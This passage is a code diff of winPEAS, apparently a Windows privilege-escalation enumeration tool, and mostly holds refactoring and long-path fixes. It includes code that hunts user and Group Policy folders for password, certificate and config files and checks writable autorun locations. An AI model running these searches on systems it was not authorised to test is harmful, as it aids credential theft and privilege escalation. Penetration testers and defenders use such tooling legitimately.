hive = Registry.RegistryHelper.CheckIfExists(path);
|
||||
}
|
||||
|
||||
if (path.StartsWith("\\"))
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
|
||||
@@ -76,7 +76,7 @@ namespace winPEAS.Helpers
|
||||
}
|
||||
|
||||
//Check if rundll32
|
||||
string[] binaryPathdll32 = binaryPath.Split(new string[] {"Rundll32.exe"}, StringSplitOptions.None);
|
||||
string[] binaryPathdll32 = binaryPath.Split(new string[] { "Rundll32.exe" }, StringSplitOptions.None);
|
||||
|
||||
if (binaryPathdll32.Length > 1)
|
||||
{
|
||||
@@ -224,7 +224,7 @@ namespace winPEAS.Helpers
|
||||
return strOutput;
|
||||
}
|
||||
|
||||
private static string[] suffixes = new[] {" B", " KB", " MB", " GB", " TB", " PB"};
|
||||
private static string[] suffixes = new[] { " B", " KB", " MB", " GB", " TB", " PB" };
|
||||
|
||||
public static string ConvertBytesToHumanReadable(double number, int precision = 2)
|
||||
{
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -354,14 +354,17 @@ namespace winPEAS.Helpers
|
||||
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
|
||||
if (string.IsNullOrEmpty(results[path]))
|
||||
{
|
||||
foreach (string d in Directory.EnumerateDirectories(path))
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
foreach (string f in Directory.EnumerateFiles(d))
|
||||
foreach (string d in Directory.EnumerateDirectories(path))
|
||||
{
|
||||
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));
|
||||
foreach (string f in Directory.EnumerateFiles(d))
|
||||
{
|
||||
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));
|
||||
}
|
||||
cont += 1;
|
||||
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
|
||||
}
|
||||
cont += 1;
|
||||
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,85 +4,85 @@ using System.Threading;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
internal class ProgressBar : IDisposable, IProgress<double>
|
||||
{
|
||||
private const int blockCount = 10;
|
||||
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
|
||||
private const string animation = @"|/-\";
|
||||
internal class ProgressBar : IDisposable, IProgress<double>
|
||||
{
|
||||
private const int blockCount = 10;
|
||||
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
|
||||
private const string animation = @"|/-\";
|
||||
|
||||
private readonly Timer timer;
|
||||
private readonly Timer timer;
|
||||
|
||||
private double currentProgress = 0;
|
||||
private string currentText = string.Empty;
|
||||
private bool disposed = false;
|
||||
private int animationIndex = 0;
|
||||
private double currentProgress = 0;
|
||||
private string currentText = string.Empty;
|
||||
private bool disposed = false;
|
||||
private int animationIndex = 0;
|
||||
|
||||
public ProgressBar()
|
||||
{
|
||||
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
|
||||
}
|
||||
public ProgressBar()
|
||||
{
|
||||
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
|
||||
}
|
||||
|
||||
public void Report(double value)
|
||||
{
|
||||
// Make sure value is in [0..1] range
|
||||
value = Math.Max(0, Math.Min(1, value));
|
||||
Interlocked.Exchange(ref currentProgress, value);
|
||||
}
|
||||
public void Report(double value)
|
||||
{
|
||||
// Make sure value is in [0..1] range
|
||||
value = Math.Max(0, Math.Min(1, value));
|
||||
Interlocked.Exchange(ref currentProgress, value);
|
||||
}
|
||||
|
||||
private void TimerHandler(object state)
|
||||
{
|
||||
lock (timer)
|
||||
{
|
||||
if (disposed) return;
|
||||
private void TimerHandler(object state)
|
||||
{
|
||||
lock (timer)
|
||||
{
|
||||
if (disposed) return;
|
||||
|
||||
int progressBlockCount = (int)(currentProgress * blockCount);
|
||||
int percent = (int)(currentProgress * 100);
|
||||
string text = string.Format("[{0}{1}] {2,3}% {3}",
|
||||
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
|
||||
percent,
|
||||
animation[animationIndex++ % animation.Length]);
|
||||
UpdateText(text);
|
||||
}
|
||||
}
|
||||
int progressBlockCount = (int)(currentProgress * blockCount);
|
||||
int percent = (int)(currentProgress * 100);
|
||||
string text = string.Format("[{0}{1}] {2,3}% {3}",
|
||||
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
|
||||
percent,
|
||||
animation[animationIndex++ % animation.Length]);
|
||||
UpdateText(text);
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateText(string text)
|
||||
{
|
||||
// Get length of common portion
|
||||
int commonPrefixLength = 0;
|
||||
int commonLength = Math.Min(currentText.Length, text.Length);
|
||||
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
|
||||
{
|
||||
commonPrefixLength++;
|
||||
}
|
||||
private void UpdateText(string text)
|
||||
{
|
||||
// Get length of common portion
|
||||
int commonPrefixLength = 0;
|
||||
int commonLength = Math.Min(currentText.Length, text.Length);
|
||||
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
|
||||
{
|
||||
commonPrefixLength++;
|
||||
}
|
||||
|
||||
// Backtrack to the first differing character
|
||||
StringBuilder outputBuilder = new StringBuilder();
|
||||
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
|
||||
// Backtrack to the first differing character
|
||||
StringBuilder outputBuilder = new StringBuilder();
|
||||
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
|
||||
|
||||
// Output new suffix
|
||||
outputBuilder.Append(text.Substring(commonPrefixLength));
|
||||
// Output new suffix
|
||||
outputBuilder.Append(text.Substring(commonPrefixLength));
|
||||
|
||||
// If the new text is shorter than the old one: delete overlapping characters
|
||||
int overlapCount = currentText.Length - text.Length;
|
||||
if (overlapCount > 0)
|
||||
{
|
||||
outputBuilder.Append(' ', overlapCount);
|
||||
outputBuilder.Append('\b', overlapCount);
|
||||
}
|
||||
// If the new text is shorter than the old one: delete overlapping characters
|
||||
int overlapCount = currentText.Length - text.Length;
|
||||
if (overlapCount > 0)
|
||||
{
|
||||
outputBuilder.Append(' ', overlapCount);
|
||||
outputBuilder.Append('\b', overlapCount);
|
||||
}
|
||||
|
||||
Console.Write(outputBuilder);
|
||||
currentText = text;
|
||||
}
|
||||
Console.Write(outputBuilder);
|
||||
currentText = text;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
lock (timer)
|
||||
{
|
||||
disposed = true;
|
||||
UpdateText(string.Empty);
|
||||
timer.Dispose();
|
||||
}
|
||||
}
|
||||
public void Dispose()
|
||||
{
|
||||
lock (timer)
|
||||
{
|
||||
disposed = true;
|
||||
UpdateText(string.Empty);
|
||||
timer.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace winPEAS.Helpers.Registry
|
||||
{
|
||||
@@ -177,7 +177,7 @@ namespace winPEAS.Helpers.Registry
|
||||
|
||||
internal static uint? GetDwordValue(string hive, string key, string val)
|
||||
{
|
||||
string strValue = RegistryHelper.GetRegValue(hive, key, val);
|
||||
string strValue = GetRegValue(hive, key, val);
|
||||
|
||||
if (uint.TryParse(strValue, out uint res))
|
||||
{
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
namespace winPEAS.Helpers.Search
|
||||
{
|
||||
static class Patterns
|
||||
{
|
||||
{
|
||||
public static readonly HashSet<string> WhitelistExtensions = new HashSet<string>()
|
||||
{
|
||||
".cer",
|
||||
@@ -11,7 +11,7 @@ namespace winPEAS.Helpers.Search
|
||||
".der",
|
||||
".p12",
|
||||
};
|
||||
|
||||
|
||||
public static readonly HashSet<string> WhiteListExactfilenamesWithExtensions = new HashSet<string>()
|
||||
{
|
||||
"docker-compose.yml",
|
||||
@@ -21,6 +21,6 @@ namespace winPEAS.Helpers.Search
|
||||
public static readonly IList<string> WhiteListRegexp = new List<string>()
|
||||
{
|
||||
"config.*\\.php$",
|
||||
};
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
@@ -76,7 +76,7 @@ namespace winPEAS.Helpers.Search
|
||||
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
{
|
||||
// It should always be lesss than 260, but some times it isn't so this will bypass that file
|
||||
if (f.FullName.Length <= 260)
|
||||
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||
{
|
||||
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
|
||||
files.Add(file_info);
|
||||
@@ -88,15 +88,17 @@ namespace winPEAS.Helpers.Search
|
||||
files.Add(file_dir);
|
||||
}
|
||||
}
|
||||
else if (f.FullName.Length > 260)
|
||||
Beaprint.LongPathWarning(f.FullName);
|
||||
}
|
||||
}
|
||||
) ;
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
return files.ToList();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private static List<FileInfo> GetFiles(string folder, string pattern = "*")
|
||||
{
|
||||
DirectoryInfo dirInfo;
|
||||
@@ -169,14 +171,24 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
foreach (var directory in directories)
|
||||
{
|
||||
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));
|
||||
if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260)
|
||||
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));
|
||||
|
||||
else if (directory.FullName.Length > 260)
|
||||
Beaprint.LongPathWarning(directory.FullName);
|
||||
}
|
||||
}
|
||||
|
||||
foreach (var f in dirInfo.GetFiles(pattern))
|
||||
{
|
||||
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));
|
||||
if (!StaticExtensions.Contains(f.Extension.ToLower()))
|
||||
{
|
||||
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
|
||||
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));
|
||||
|
||||
else if (f.FullName.Length > 260)
|
||||
Beaprint.LongPathWarning(f.FullName);
|
||||
}
|
||||
}
|
||||
|
||||
if (directories.Length > 1) return new List<DirectoryInfo>(directories);
|
||||
@@ -209,43 +221,43 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
// c:\users
|
||||
string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
|
||||
SearchHelper.RootDirUsers = SearchHelper.GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\users\current_user
|
||||
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Program Files\
|
||||
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
||||
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||
ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Program Files (x86)\
|
||||
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
||||
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||
ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Documents and Settings\
|
||||
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
||||
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||
DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\ProgramData\Microsoft\Group Policy\History
|
||||
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
||||
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||
GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||
|
||||
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
||||
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
||||
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
||||
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||
var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||
GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||
}
|
||||
|
||||
internal static void CleanLists()
|
||||
{
|
||||
SearchHelper.RootDirUsers = null;
|
||||
SearchHelper.RootDirCurrentUser = null;
|
||||
SearchHelper.ProgramFiles = null;
|
||||
SearchHelper.ProgramFilesX86 = null;
|
||||
SearchHelper.DocumentsAndSettings = null;
|
||||
SearchHelper.GroupPolicyHistory = null;
|
||||
RootDirUsers = null;
|
||||
RootDirCurrentUser = null;
|
||||
ProgramFiles = null;
|
||||
ProgramFilesX86 = null;
|
||||
DocumentsAndSettings = null;
|
||||
GroupPolicyHistory = null;
|
||||
|
||||
GC.Collect();
|
||||
}
|
||||
@@ -258,10 +270,10 @@ namespace winPEAS.Helpers.Search
|
||||
".*password.*"
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.RootDirUsers)
|
||||
{
|
||||
//string extLower = file.Extension.ToLower();
|
||||
|
||||
foreach (var file in RootDirUsers)
|
||||
{
|
||||
//string extLower = file.Extension.ToLower();
|
||||
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
string nameLower = file.Filename.ToLower();
|
||||
@@ -285,7 +297,7 @@ namespace winPEAS.Helpers.Search
|
||||
{
|
||||
var result = new List<string>();
|
||||
|
||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
||||
foreach (var file in RootDirCurrentUser)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -310,7 +322,7 @@ namespace winPEAS.Helpers.Search
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
@@ -325,7 +337,7 @@ namespace winPEAS.Helpers.Search
|
||||
".xml"
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.GroupPolicyHistory)
|
||||
foreach (var file in GroupPolicyHistory)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -349,14 +361,14 @@ namespace winPEAS.Helpers.Search
|
||||
};
|
||||
|
||||
string programDataPath = $"{SystemDrive}\\ProgramData\\";
|
||||
var programData = SearchHelper.GetFilesFast(programDataPath, GlobalPattern);
|
||||
var programData = GetFilesFast(programDataPath, GlobalPattern);
|
||||
|
||||
var searchFiles = new List<CustomFileInfo>();
|
||||
searchFiles.AddRange(SearchHelper.ProgramFiles);
|
||||
searchFiles.AddRange(SearchHelper.ProgramFilesX86);
|
||||
searchFiles.AddRange(ProgramFiles);
|
||||
searchFiles.AddRange(ProgramFilesX86);
|
||||
searchFiles.AddRange(programData);
|
||||
searchFiles.AddRange(SearchHelper.DocumentsAndSettings);
|
||||
searchFiles.AddRange(SearchHelper.RootDirUsers);
|
||||
searchFiles.AddRange(DocumentsAndSettings);
|
||||
searchFiles.AddRange(RootDirUsers);
|
||||
|
||||
foreach (var file in searchFiles)
|
||||
{
|
||||
@@ -391,7 +403,7 @@ namespace winPEAS.Helpers.Search
|
||||
".pdf",
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
||||
foreach (var file in RootDirCurrentUser)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -414,7 +426,7 @@ namespace winPEAS.Helpers.Search
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
@@ -439,7 +451,7 @@ namespace winPEAS.Helpers.Search
|
||||
".pdf",
|
||||
};
|
||||
|
||||
foreach (var file in SearchHelper.RootDirUsers)
|
||||
foreach (var file in RootDirUsers)
|
||||
{
|
||||
if (!file.IsDirectory)
|
||||
{
|
||||
@@ -462,7 +474,7 @@ namespace winPEAS.Helpers.Search
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
|
||||
@@ -8,12 +8,13 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
{
|
||||
public string name { get; set; }
|
||||
public RegularExpression[] regexes { get; set; }
|
||||
public class RegularExpression {
|
||||
public class RegularExpression
|
||||
{
|
||||
public string name { get; set; }
|
||||
public string regex { get; set; }
|
||||
|
||||
public bool caseinsensitive { get; set; }
|
||||
|
||||
|
||||
public string disable { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -25,65 +26,65 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
|
||||
public class FileParam
|
||||
{
|
||||
public string name { get; set; }
|
||||
public FileSettings value { get; set; }
|
||||
}
|
||||
public string name { get; set; }
|
||||
public FileSettings value { get; set; }
|
||||
}
|
||||
|
||||
public class SearchParameters
|
||||
{
|
||||
{
|
||||
public class FileSettings
|
||||
{
|
||||
public string bad_regex { get; set; }
|
||||
{
|
||||
public string bad_regex { get; set; }
|
||||
// public string check_extra_path { get; set; } // not used in Winpeas
|
||||
public string good_regex { get; set; }
|
||||
public bool? just_list_file { get; set; }
|
||||
public string line_grep { get; set; }
|
||||
public bool? only_bad_lines { get; set; }
|
||||
public bool? remove_empty_lines { get; set; }
|
||||
public string good_regex { get; set; }
|
||||
public bool? just_list_file { get; set; }
|
||||
public string line_grep { get; set; }
|
||||
public bool? only_bad_lines { get; set; }
|
||||
public bool? remove_empty_lines { get; set; }
|
||||
// public string remove_path { get; set; } // not used in Winpeas
|
||||
public string remove_regex { get; set; }
|
||||
public string remove_regex { get; set; }
|
||||
public string remove_path { get; set; }
|
||||
// public string[] search_in { get; set; } // not used in Winpeas
|
||||
public string type { get; set; }
|
||||
public FileParam[] files { get; set; }
|
||||
public string type { get; set; }
|
||||
public FileParam[] files { get; set; }
|
||||
}
|
||||
|
||||
public class FileParameters
|
||||
{
|
||||
public string file { get; set; }
|
||||
public FileSettings options { get; set; }
|
||||
public string file { get; set; }
|
||||
public FileSettings options { get; set; }
|
||||
}
|
||||
|
||||
public class Config
|
||||
{
|
||||
public bool auto_check { get; set; }
|
||||
public bool auto_check { get; set; }
|
||||
}
|
||||
|
||||
public Config config { get; set; }
|
||||
public string[] disable { get; set; } // disabled scripts - linpeas/winpeas
|
||||
public FileParam[] files { get; set; }
|
||||
public Config config { get; set; }
|
||||
public string[] disable { get; set; } // disabled scripts - linpeas/winpeas
|
||||
public FileParam[] files { get; set; }
|
||||
}
|
||||
|
||||
public class SearchParams
|
||||
{
|
||||
public string name { get; set; }
|
||||
public SearchParameters value { get; set; }
|
||||
public string name { get; set; }
|
||||
public SearchParameters value { get; set; }
|
||||
}
|
||||
|
||||
public class Defaults
|
||||
{
|
||||
public bool auto_check { get; set; }
|
||||
public string bad_regex { get; set; }
|
||||
public bool auto_check { get; set; }
|
||||
public string bad_regex { get; set; }
|
||||
//public string check_extra_path { get; set; } not used in winpeas
|
||||
public string good_regex { get; set; }
|
||||
public bool just_list_file { get; set; }
|
||||
public string line_grep { get; set; }
|
||||
public bool only_bad_lines { get; set; }
|
||||
public bool remove_empty_lines { get; set; }
|
||||
public string remove_path { get; set; }
|
||||
public string remove_regex { get; set; }
|
||||
public string[] search_in { get; set; }
|
||||
public string type { get; set; }
|
||||
public string good_regex { get; set; }
|
||||
public bool just_list_file { get; set; }
|
||||
public string line_grep { get; set; }
|
||||
public bool only_bad_lines { get; set; }
|
||||
public bool remove_empty_lines { get; set; }
|
||||
public string remove_path { get; set; }
|
||||
public string remove_regex { get; set; }
|
||||
public string[] search_in { get; set; }
|
||||
public string type { get; set; }
|
||||
}
|
||||
|
||||
public class Variable
|
||||
@@ -92,9 +93,9 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
public string value { get; set; }
|
||||
}
|
||||
|
||||
public SearchParams[] search { get; set; }
|
||||
|
||||
public Defaults defaults { get; set; }
|
||||
public SearchParams[] search { get; set; }
|
||||
|
||||
public Defaults defaults { get; set; }
|
||||
|
||||
public Variable[] variables { get; set; }
|
||||
}
|
||||
|
||||
@@ -1,10 +1,9 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Yaml.Serialization;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Yaml.Serialization;
|
||||
using static winPEAS.Helpers.YamlConfig.YamlConfig;
|
||||
using static winPEAS.Helpers.YamlConfig.YamlRegexConfig;
|
||||
|
||||
|
||||
namespace winPEAS.Helpers.YamlConfig
|
||||
@@ -30,7 +29,7 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
|
||||
|
||||
// check
|
||||
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
|
||||
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
|
||||
{
|
||||
throw new System.Exception("No configuration was read");
|
||||
}
|
||||
@@ -79,7 +78,7 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
|
||||
// apply the defaults e.g. for filesearch
|
||||
foreach (var searchItem in yamlConfig.search)
|
||||
{
|
||||
{
|
||||
SetDefaultOptions(searchItem, yamlConfig.defaults);
|
||||
}
|
||||
|
||||
@@ -91,7 +90,7 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
Beaprint.PrintException($"An exception occured while parsing sensitive_files.yaml configuration file: {e.Message}");
|
||||
|
||||
throw;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void SetDefaultOptions(SearchParams searchItem, Defaults defaults)
|
||||
@@ -106,7 +105,7 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
foreach (var fileParam in fileParams)
|
||||
{
|
||||
var value = fileParam.value;
|
||||
|
||||
|
||||
value.bad_regex = GetValueOrDefault(value.bad_regex, defaults.bad_regex);
|
||||
value.good_regex = GetValueOrDefault(value.good_regex, defaults.good_regex);
|
||||
value.just_list_file = GetValueOrDefault(value.just_list_file, defaults.just_list_file);
|
||||
@@ -135,7 +134,7 @@ namespace winPEAS.Helpers.YamlConfig
|
||||
|
||||
private static T GetValueOrDefault<T>(T val, T defaultValue)
|
||||
{
|
||||
return val == null ? defaultValue : val;
|
||||
return val == null ? defaultValue : val;
|
||||
}
|
||||
|
||||
private static T GetValueOrDefault<T>(Dictionary<object, object> dict, string key, T defaultValue)
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
@@ -10,7 +9,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
internal class ApplicationInfoHelper
|
||||
{
|
||||
|
||||
|
||||
public static string GetActiveWindowTitle()
|
||||
{
|
||||
const int nChars = 256;
|
||||
@@ -46,7 +45,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
try
|
||||
{
|
||||
if (t.Enabled &&
|
||||
if (t.Enabled &&
|
||||
!string.IsNullOrEmpty(t.Path) && !t.Path.Contains("Microsoft") &&
|
||||
!string.IsNullOrEmpty(t.Definition.RegistrationInfo.Author) &&
|
||||
!t.Definition.RegistrationInfo.Author.Contains("Microsoft"))
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
@@ -204,7 +204,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
|
||||
}
|
||||
: new List<string> {autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name});
|
||||
: new List<string> { autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -243,10 +243,10 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
string folder = Path.GetDirectoryName(filepath_cleaned);
|
||||
|
||||
try
|
||||
{
|
||||
{
|
||||
//If the path doesn't exist, pass
|
||||
if (File.GetAttributes(filepath_cleaned).HasFlag(FileAttributes.Directory))
|
||||
{
|
||||
{
|
||||
//If the path is already a folder, change the values of the params
|
||||
orig_filepath = "";
|
||||
folder = filepath_cleaned;
|
||||
@@ -336,7 +336,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
var systemDrive = Environment.GetEnvironmentVariable("SystemDrive");
|
||||
var autorunLocations = new List<string>
|
||||
{
|
||||
Environment.ExpandEnvironmentVariables(@"%programdata%\Microsoft\Windows\Start Menu\Programs\Startup"),
|
||||
Environment.ExpandEnvironmentVariables(@"%programdata%\Microsoft\Windows\Start Menu\Programs\Startup"),
|
||||
};
|
||||
|
||||
string usersPath = Path.Combine(Environment.GetEnvironmentVariable(@"USERPROFILE"));
|
||||
@@ -344,15 +344,18 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
|
||||
try
|
||||
{
|
||||
var userDirs = Directory.EnumerateDirectories(usersPath);
|
||||
|
||||
foreach (var userDir in userDirs)
|
||||
if (Directory.Exists(usersPath))
|
||||
{
|
||||
string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
|
||||
var userDirs = Directory.EnumerateDirectories(usersPath);
|
||||
|
||||
if (Directory.Exists(startupPath))
|
||||
foreach (var userDir in userDirs)
|
||||
{
|
||||
autorunLocations.Add(startupPath);
|
||||
string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
|
||||
|
||||
if (Directory.Exists(startupPath))
|
||||
{
|
||||
autorunLocations.Add(startupPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -364,22 +367,25 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
try
|
||||
{
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
|
||||
foreach (string filepath in files)
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
string folder = Path.GetDirectoryName(filepath);
|
||||
results.Add(new Dictionary<string, string>() {
|
||||
{ "Reg", "" },
|
||||
{ "RegKey", "" },
|
||||
{ "RegPermissions", "" },
|
||||
{ "Folder", folder },
|
||||
{ "File", filepath },
|
||||
{ "isWritableReg", ""},
|
||||
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},
|
||||
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},
|
||||
{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() }
|
||||
});
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
|
||||
foreach (string filepath in files)
|
||||
{
|
||||
string folder = Path.GetDirectoryName(filepath);
|
||||
results.Add(new Dictionary<string, string>() {
|
||||
{ "Reg", "" },
|
||||
{ "RegKey", "" },
|
||||
{ "RegPermissions", "" },
|
||||
{ "Folder", folder },
|
||||
{ "File", filepath },
|
||||
{ "isWritableReg", ""},
|
||||
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},
|
||||
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},
|
||||
